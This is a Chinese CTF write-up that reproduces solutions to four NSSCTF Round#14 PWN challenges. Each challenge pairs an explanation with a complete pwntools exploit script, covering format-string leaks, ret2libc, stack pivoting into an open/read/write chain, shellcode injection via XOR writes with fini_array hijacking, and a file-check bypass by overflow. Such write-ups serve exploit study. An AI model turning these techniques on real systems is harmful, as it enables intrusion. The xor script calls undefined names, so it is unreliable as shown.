NSSCTF Round#14 Basic WP

周末 NSS 的 PWN 专题,菜菜的照着别的师傅的 WP 复现一下🫥

love

格式化字符串+ret2libc

是个64位的程序,开启了 canary 保护

主函数中有一个明显的格式化字符串漏洞,在 vlun 函数中 gets 不限制输入

考虑里用格式化字符串泄露 libc 基址,计算偏移获取 system 地址。再利用 gets 改写 GOT 表获取 shell。

格式化字符串部分 buf 存储在 BSS 段上,需要借用栈上的跳板。利用 GDB 查看 printf 处的栈数据:

栈上的第三个参数,也就是格式化字符串的第九个参数 0x7fffffffdfb8 存储的是0x7fffffffdfa8 地址,而这个地址存储 v4 的数值 (555LL 就是以十六进制存储555 这个十进制数字,就是 0x22b;同理 520LL就是 0x208),我们可以直接来改写 V4 数值实现 main 函数中的 if 条件判断进入 vuln 漏洞函数。

同时栈上的第九个参数 ( %15$ )存储的是 canary 的值,第十一个参数 ( %17$ ) 指向 __libc_start_main+231,可以推算出 libc 的基址。

所以我们的格式化字符串就构造为 %520c%9$n,,%15$p,,%17$p(其中 ,, 用来分隔不同地址)

最终的 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
io=process('./pwn')
libc=ELF('./libc.so.6')

pop_rdi=0x4013f3
ret=0x40101a

payload="%520c%9$n,,%15$p,,%17$p"
io.recvuntil('I want to hear your praise of Toka\n')
io.sendline(payload)

io.recvuntil(b",,")
canary=int(io.recv(18),16)
io.recvuntil(b",,")
base=int(io.recv(14),16)-libc.sym[b"__libc_start_main"]-231
sys_addr=base+libc.sym[b"system"]
sh_addr=base+next(libc.search(b"/bin/sh"))

payload=cyclic(0x28)+p64(canary)+p64(0)+p64(ret)+p64(pop_rdi)+p64(sh_addr)+p64(sys_addr)
io.sendlineafter(b"I know you like him, but you must pass my level\n",payload)

io.interactive()

rbp

栈迁移 + orw

vuln() 函数里面有一个长度0x10 的栈溢出,所以我们首先考虑栈迁移的利用 。同时在 init() 里面调用了sandbox() 禁用了execve,所以要使用 orw 。

首先移栈到 bss 然后利用 leave_ret ,移栈到前部执行泄露并回到 vuln

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
io=process('./rbp')
elf=ELF('./rbp')
libc=ELF('./libc.so.6')

bss=0x404800
leave_ret=0x40121d
pop_rdi=0x401353
read_addr=0x401292
vuln_addr=0x401270
puts_got=elf.got[b"puts"]
puts_plt=elf.plt[b"puts"]

payload=cyclic(0x210)+p64(bss)+p64(read_addr)
io.sendafter(b"try it",payload)

payload=p64(0)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(vuln_addr)
payload= payload.ljust(0x210,b'a')+p64(bss-0x210)+p64(leave_ret)

io.sendline(payload)
leak_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-libc.sym[b"puts"]
print("leak_addr: "+hex(leak_addr))
open_addr=leak_addr+libc.sym[b"open"]
read_addr=leak_addr+libc.sym[b"read"]
write_addr=leak_addr+libc.sym[b"write"]
#pop_rsi = libc.address + next(libc.search(asm('pop rsi;ret')))
#pop_rdx = libc.address + next(libc.search(asm('pop rdx;ret')))
#不知道为什么我用上面的命令突然就抽风不好用我手动ROPgadget找的,就是有点子慢
pop_rsi=leak_addr+0x2601f
pop_rdx=leak_addr+0x142c92

payload=cyclic(0x210)+p64(bss+0x300-0x210)+p64(read_addr)
io.sendafter(b"try it\n",payload)

orw=b"/flag\x00\x00\x00"+p64(pop_rdi)+p64(0x404288)+p64(pop_rsi)+p64(0)+p64(open_addr)
orw+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(0x404a00)+p64(pop_rdx)+p64(0x50)+p64(read_addr)
orw+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(0x404a00)+p64(pop_rdx)+p64(0x50)+p64(write_addr)

orw=orw.ljust(0x210,b"a")+p64(bss+0x300-0x210)+p64(leave_ret)
io.send(orw)

io.interactive()

xor

题目是一个任何保护都没有被开启并且 rwx 全部开启的程序

首先程序中有一个 flag 判断的循环,我们要保证 flag 小于 0 程序才不会退出,方便我们进行接下来的操作。

我们可以将 flag 的高位写成 0xff,这样的话 flag 的符号位会被覆写为1,即负数。

xorByteWithAddress() 中只有两行代码

1
2
3
4
5
__int64 __fastcall xorByteWithAddress(_BYTE *a1, char a2)
{
*a1 ^= a2; //*addr ^= value
return (unsigned int)++flag;
}

a1 是一个指向 _BYTE 类型的地址(即一个字节大小的数据类型),所以在这个异或的操作中,一次只能异或改写一字节的数据。

因为 rwx 可读可写可执行,我们可以直接向上面写入 sehllcode,劫持 fini_array 指针到shellcode处,这样我们就可以再次异或令 flag 大于零,退出程序时执行 shellcode 了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
context(os='linux', arch='amd64', log_level='debug')

io = process('./pwn')
elf = ELF('./pwn')
libc=ELF('./libc.so.6')

def xorwrite(addr,value):
io.sendlineafter(b"addr:",hex(addr).encode())
io.sendlineafter(b"value:",value)

flag=0x600BCC
fini_array=0x600970
rwx_addr=0x600d00

xorwrite(flag+3,b'0xff')

shellcode=asm(shellcraft.sh())
for i in range(len(shellcode)):
xorwrite(rwx+i,shellcode[i])

#xor_array=fini_array^rwx_addr
#xor_array=0x200b10
xorenc(hex(fini_array).encode(),b"0x10")
xorenc(hex(fini_array+1).encode(),b"0x0b")
xorenc(hex(fini_array+2).encode(),b"0x20")

xorwrite(flag+3,b'0xff')
io.interactive()

read_file

是一个64位的菜单式的读取文件的程序,远程时可以直接读取服务器端的文件。

但是在 load_file 处有 “flag” 字符检测,也就是说我们不能直接 load flag,要尝试修改 flag 文件的 “flag” 字符。

同时在 read_file 处有文本长度的判断,不过长素质由用户输入,小于55时会自动读取 content_size + 56 的数据。

我们首先需要绕过 flag 的检查。

load_file() 函数中,scanf 负责接受用户读入信息。我们知道scanf读取数据会在指定长度的数据后添加\x00 空字符

如上图,file_namefile_id 都是储存在 BSS 段并且相邻,偏移相差 8 字节。也就是说如果我们在 file_name 读取了刚好8字节的数据,其对应的 \x00 就会覆盖住 file_id,使 file_id 为 0。

而利用到 fild_id 的函数 read(file_fd, file_content, content_size); 在 fild_id=0 时会从用户键盘来获取用户的输入而不是读取文件。

又因为在此之前由 alloca 来分配 v2 栈空间,我们可以利用 content_size 小于55的条件判断造成溢出,直接覆盖返回地址使程序跳转到 file_fd = open(file_name, 0, 0LL);,绕过检查再按照程序流程正常读取 flag 。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
io = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

def load(payload):
io.sendlineafter(b">> ",b'1')
io.sendlineafter(b"file_name : ",payload)

load_addr=0x401493
read_addr=0x4014ee
ret=0x40101a

load(b"./")
load(b"flag.txt")

io.sendlineafter(b">> ",b'2')
io.sendlineafter(b"file_content_length : ",b'1')

payload=cyclic(0x18)+p64(load_addr)+p64(ret)*2+p64(read_addr)
io.sendafter(b"read more ",payload)

io.sendlineafter(b"file_content_length : ",b"1")

io.interactive()

NSSCTF Round#14 Basic WP
https://shmodifier.github.io/2023/08/04/NSSCTF-Round-14-Basic-WP/
作者
Modifier
发布于
2023年8月4日
许可协议